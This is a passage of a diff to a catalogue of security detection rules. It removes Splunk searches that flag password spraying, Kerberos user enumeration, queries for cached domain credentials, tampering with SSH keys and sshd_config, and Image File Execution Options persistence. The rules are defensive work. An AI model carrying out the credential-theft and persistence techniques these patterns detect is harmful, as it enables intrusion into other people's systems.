- "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Unusual Count Of Invalid Users Fail To Auth Using Kerberos", - "description": "The following analytic identifies a source endpoint failing to authenticate with multiple invalid domain users using the Kerberos protocol. It leverages Event ID 4768, which is generated when the Key Distribution Center issues a Kerberos Ticket Granting Ticket (TGT) and detects failure code 0x6, indicating the user is not found in the Kerberos database. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access and potential privilege escalation within the Active Directory environment.", - "search": "`wineventlog_security` EventCode=4768 TargetUserName!=*$ Status=0x6 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, IpAddress | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by IpAddress | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_invalid_users_fail_to_auth_using_kerberos_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Kerberos based password spraying attack from $IpAddress$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Unusual Count Of Invalid Users Failed To Auth Using NTLM", - "description": "The following analytic identifies a source endpoint failing to authenticate with multiple invalid users using the NTLM protocol. It leverages EventCode 4776 and calculates the standard deviation for each host, using the 3-sigma rule to detect anomalies. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access or privilege escalation, posing a significant threat to the Active Directory environment. This detection is focused on domain controllers.", - "search": " `wineventlog_security` EventCode=4776 TargetUserName!=*$ Status=0xc0000064 | bucket span=2m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, Workstation | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by Workstation | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | rename Workstation as src |`windows_unusual_count_of_invalid_users_failed_to_auth_using_ntlm_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential NTLM based password spraying attack from $src$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Unusual Count Of Users Fail To Auth Wth ExplicitCredentials", - "description": "The following analytic identifies a source user failing to authenticate with multiple users using explicit credentials on a host. It leverages Windows Event Code 4648 and calculates the standard deviation for each host, using the 3-sigma rule to detect anomalies. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, or further compromise of the Active Directory environment.", - "search": " `wineventlog_security` EventCode=4648 Caller_User_Name!=*$ Target_User_Name!=*$ | bucket span=5m _time | stats dc(Target_User_Name) AS unique_accounts values(Target_User_Name) as user by _time, Computer, Caller_User_Name | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by Computer | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_users_fail_to_auth_wth_explicitcredentials_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Insider Threat", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential password spraying attack from $Computer$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Unusual Count Of Users Failed To Auth Using Kerberos", - "description": "The following analytic identifies a source endpoint failing to authenticate multiple valid users using the Kerberos protocol, potentially indicating a Password Spraying attack. It leverages Event 4771, which is generated when the Key Distribution Center fails to issue a Kerberos Ticket Granting Ticket (TGT) due to a wrong password (failure code 0x18). This detection uses statistical analysis, specifically the 3-sigma rule, to identify unusual authentication failures. If confirmed malicious, this activity could allow an attacker to gain initial access or elevate privileges within an Active Directory environment.", - "search": "`wineventlog_security` EventCode=4771 TargetUserName!=\"*$\" Status=0x18 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, IpAddress | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by IpAddress | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_users_failed_to_auth_using_kerberos_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Kerberos based password spraying attack from $IpAddress$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Unusual Count Of Users Failed To Authenticate From Process", - "description": "The following analytic identifies a source process failing to authenticate multiple users, potentially indicating a Password Spraying attack. It leverages Windows Event 4625, which logs failed logon attempts, and uses statistical analysis to detect anomalies. This activity is significant as it may represent an adversary attempting to gain initial access or elevate privileges within an Active Directory environment. If confirmed malicious, the attacker could compromise multiple accounts, leading to unauthorized access, data exfiltration, or further lateral movement within the network.", - "search": " `wineventlog_security` EventCode=4625 Logon_Type=2 ProcessName!=\"-\" | bucket span=2m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, ProcessName, SubjectUserName, Computer | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by ProcessName, SubjectUserName, Computer | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_users_failed_to_authenticate_from_process_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Insider Threat", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential password spraying attack from $Computer$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Unusual Count Of Users Failed To Authenticate Using NTLM", - "description": "The following analytic identifies a source endpoint failing to authenticate multiple valid users using the NTLM protocol, potentially indicating a Password Spraying attack. It leverages Event 4776 from Domain Controllers, calculating the standard deviation for each host and applying the 3-sigma rule to detect anomalies. This activity is significant as it may represent an adversary attempting to gain initial access or elevate privileges. If confirmed malicious, the attacker could compromise multiple accounts, leading to unauthorized access and potential lateral movement within the network.", - "search": " `wineventlog_security` EventCode=4776 TargetUserName!=*$ Status=0xC000006A | bucket span=2m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, Workstation | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by Workstation | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_users_failed_to_authenticate_using_ntlm_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Workstation", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential NTLM based password spraying attack from $Workstation$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Unusual Count Of Users Remotely Failed To Auth From Host", - "description": "The following analytic identifies a source host failing to authenticate against a remote host with multiple users, potentially indicating a Password Spraying attack. It leverages Windows Event 4625 (failed logon attempts) and Logon Type 3 (remote authentication) to detect this behavior. This activity is significant as it may represent an adversary attempting to gain initial access or elevate privileges within an Active Directory environment. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and further compromise of the network.", - "search": " `wineventlog_security` EventCode=4625 Logon_Type=3 IpAddress!=\"-\" | bucket span=2m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, IpAddress, Computer | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by IpAddress, Computer | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_users_remotely_failed_to_auth_from_host_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential password spraying attack on $Computer$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } } ], "external_reference": [ @@ -384914,75 +270166,6 @@ "platform": [ "PRE" ] - }, - { - "name": "Kerberos User Enumeration", - "description": "The following analytic detects an unusual number of Kerberos Ticket Granting Ticket (TGT) requests for non-existing users from a single source endpoint. It leverages Event ID 4768 and identifies anomalies using the 3-sigma statistical rule. This behavior is significant as it may indicate an adversary performing a user enumeration attack against Active Directory. If confirmed malicious, the attacker could validate a list of usernames, potentially leading to further attacks such as brute force or credential stuffing, compromising the security of the environment.", - "search": " `wineventlog_security` EventCode=4768 Status=0x6 TargetUserName!=\"*$\" | bucket span=2m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, src_ip | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by src_ip | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1| `kerberos_user_enumeration_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential Kerberos based user enumeration attack $src_ip$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1589", - "mitre_attack_technique": "Gather Victim Identity Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "APT32", - "FIN13", - "HEXANE", - "LAPSUS$", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1589.002", - "mitre_attack_technique": "Email Addresses", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "APT32", - "EXOTIC LILY", - "HAFNIUM", - "HEXANE", - "Kimsuky", - "LAPSUS$", - "Lazarus Group", - "Magic Hound", - "Sandworm Team", - "Silent Librarian", - "TA551" - ] - } - ] - } } ], "external_reference": [], @@ -386305,73 +271488,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Windows Cached Domain Credentials Reg Query", - "description": "The following analytic identifies a process command line querying the CachedLogonsCount registry value in the Winlogon registry. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and registry queries. Monitoring this activity is significant as it can indicate the use of post-exploitation tools like Winpeas, which gather information about login caching settings. If confirmed malicious, this activity could help attackers understand login caching configurations, potentially aiding in credential theft or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` AND Processes.process = \"* query *\" AND Processes.process = \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon*\" AND Processes.process = \"*CACHEDLOGONSCOUNT*\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_cached_domain_credentials_reg_query_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process with commandline $process$ tries to retrieve cache domain credential logon count in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.005", - "mitre_attack_technique": "Cached Domain Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "Leafminer", - "MuddyWater", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } } ], "external_reference": [ @@ -386793,213 +271909,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Linux Possible Access Or Modification Of sshd Config File", - "description": "The following analytic detects suspicious access or modification of the sshd_config file on Linux systems. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving processes like \"cat,\" \"nano,\" \"vim,\" and \"vi\" accessing the sshd_config file. This activity is significant because unauthorized changes to sshd_config can allow threat actors to redirect port connections or use unauthorized keys, potentially compromising the system. If confirmed malicious, this could lead to unauthorized access, privilege escalation, or persistent backdoor access, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN(\"cat\", \"nano*\",\"vim*\", \"vi*\") AND Processes.process IN(\"*/etc/ssh/sshd_config\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_access_or_modification_of_sshd_config_file_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a commandline $process$ executed on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098.004", - "mitre_attack_technique": "SSH Authorized Keys", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Linux Possible Ssh Key File Creation", - "description": "The following analytic detects the creation of SSH key files in the ~/.ssh/ directory. It leverages filesystem data to identify new files in this specific path. This activity is significant because threat actors often create SSH keys to gain persistent access and escalate privileges on a compromised host. If confirmed malicious, this could allow attackers to remotely access the machine using the OpenSSH daemon service, leading to potential unauthorized control and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/.ssh*\") by Filesystem.dest Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_possible_ssh_key_file_creation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098.004", - "mitre_attack_technique": "SSH Authorized Keys", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Linux SSH Authorized Keys Modification", - "description": "The following analytic detects the modification of SSH Authorized Keys on Linux systems. It leverages process execution data from Endpoint Detection and Response (EDR) agents, specifically monitoring commands like \"bash\" and \"cat\" interacting with \"authorized_keys\" files. This activity is significant as adversaries often modify SSH Authorized Keys to establish persistent access to compromised endpoints. If confirmed malicious, this behavior could allow attackers to maintain unauthorized access, bypassing traditional authentication mechanisms and potentially leading to further exploitation or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"bash\",\"cat\") Processes.process IN (\"*/authorized_keys*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_ssh_authorized_keys_modification_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ modifying SSH Authorized Keys.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098.004", - "mitre_attack_technique": "SSH Authorized Keys", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca", - "TeamTNT" - ] - } - ] - } } ], "external_reference": [ @@ -387846,47 +272755,7 @@ "data_component": "command execution", "type": "activity", "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "user", - "relationship": "executed", - "target_data_element": "command", - "references": [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ] - }, - { - "technique_id": "T1546.012", - "x_mitre_is_subtechnique": true, - "technique": "Image File Execution Options Injection", - "tactic": [ - "privilege-escalation", - "persistence" - ], - "platform": [ - "Windows" - ], - "data_source": "command", - "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", - "collection_layers": [ - "host", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network", - "Containers" - ], - "contributors": [ - "Austin Clark", - "ATT&CK", - "CTID" - ], - "data_component": "command execution", - "type": "activity", - "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "process", + "source_data_element": "user", "relationship": "executed", "target_data_element": "command", "references": [ @@ -387895,115 +272764,44 @@ ] }, { - "name": "Registry Keys Used For Privilege Escalation", - "description": "The following analytic detects modifications to registry keys under \"Image File Execution Options\" that can be used for privilege escalation. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths and values like GlobalFlag and Debugger. This activity is significant because attackers can use these modifications to intercept executable calls and attach malicious binaries to legitimate system binaries. If confirmed malicious, this could allow attackers to execute arbitrary code with elevated privileges, leading to potential system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE ((Registry.registry_path=\"*Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options*\") AND (Registry.registry_value_name=GlobalFlag OR Registry.registry_value_name=Debugger)) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `registry_keys_used_for_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Cloud Federated Credential Abuse", - "Data Destruction", - "Hermetic Wiper", - "Suspicious Windows Registry Activities", - "Windows Privilege Escalation", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A registry activity in $registry_path$ related to privilege escalation in host $dest$", - "risk_score": 76, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.012", - "mitre_attack_technique": "Image File Execution Options Injection", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Event Triggered Image File Execution Options Injection", - "description": "The following analytic identifies the creation or modification of Image File Execution Options (IFEO) registry keys, detected via EventCode 3000 in the Application channel. This detection leverages Windows Event Logs to monitor for process names added to IFEO under specific registry paths. This activity is significant as it can indicate attempts to set traps for process monitoring or debugging, often used by attackers for persistence or evasion. If confirmed malicious, this could allow an attacker to execute arbitrary code or manipulate process behavior, leading to potential system compromise.", - "search": "`wineventlog_application` EventCode=3000 | rename param1 AS \"Process\" param2 AS \"Exit_Code\" | stats count min(_time) as firstTime max(_time) as lastTime by Process Exit_Code dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_event_triggered_image_file_execution_options_injection_filter`", - "tags": { - "analytic_story": [ - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows eventcode 3000 triggered on $dest$ potentially indicating persistence or a monitoring of a process has occurred.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.012", - "mitre_attack_technique": "Image File Execution 